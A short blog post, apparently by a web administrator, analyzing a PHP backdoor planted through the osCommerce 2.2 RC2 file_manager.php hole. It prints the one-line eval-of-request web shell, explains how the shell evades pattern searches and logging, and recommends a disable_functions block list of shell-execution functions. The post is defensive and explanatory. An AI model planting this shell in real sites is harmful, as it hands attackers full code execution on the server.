I recently ran across another exploited PHP web application on a client's website. This exploit was thanks to the all-too-common file_manager.php exploit in osCommerce 2.2 RC2. This hole has since been patched by the osCommerce team howevver many people neglect to keep their applications up-to-date.
Background
The flavor of the month lately is for attackers to use gzinflate(), exec() and/or base64_decode() to obfuscate their malicious code in PHP files that have been uploaded via an exploit such as the one above. With this particular exploit, however, I encountered some code I'd not yet seen and it amazed me at how simple yet effective it was at propagating further abuse. The file was named 'imageth.php' hidden in a world-writable images/ subdirectory, containin the few lines of code below:
The Script
<?php
if (isset($_REQUEST['asc'])) eval(stripslashes($_REQUEST['asc']));
?>
The simplicity of this script is really telling of its genius. There's nothing in it that would turn up on pattern match searches for commonly-used exploit functions like those mentioned above. This script simply takes some request data (typically POST since the request data isn't logged) and runs it through PHP's interpreter. Essentially the hacker now has the ability to do anything they would like, from running a bruteforce attack script, a backdoor shell script, or launching persistent background processes.
Securing your Server
In this case eval() of raw REQUEST data should be a dead-giveaway for the malicious nature of this script. Eval however is used much less often for exploits and more often for legitimate uses, so diabling it outright might be a problem. The single most effective security measure you can enact to prevent these types of exploits is to prevent the use of other problematic PHP functions. Caution should be taken in doing so however since it can break the functionality of existing scripts, but generally the increased level of security this affords is an acceptable tradeoff for having to change/rewrite some scripts. Below is the disable_functions directive I recommend:
disable_functions = "show_source, system, passthru, exec, popen, proc_open, allow_url_fopen, eval, escapeshellcmd, escapeshellarg, proc_open, shell_exec, curl_exec, curl_multi_exec, popen"
Eval can also be added to that list if you are aware of the implications. Other general security recommendations are Suhosin, SuPHP for shared servers (or fcgi-based alternatives for speed), and always always always keeping your PHP applications updated!
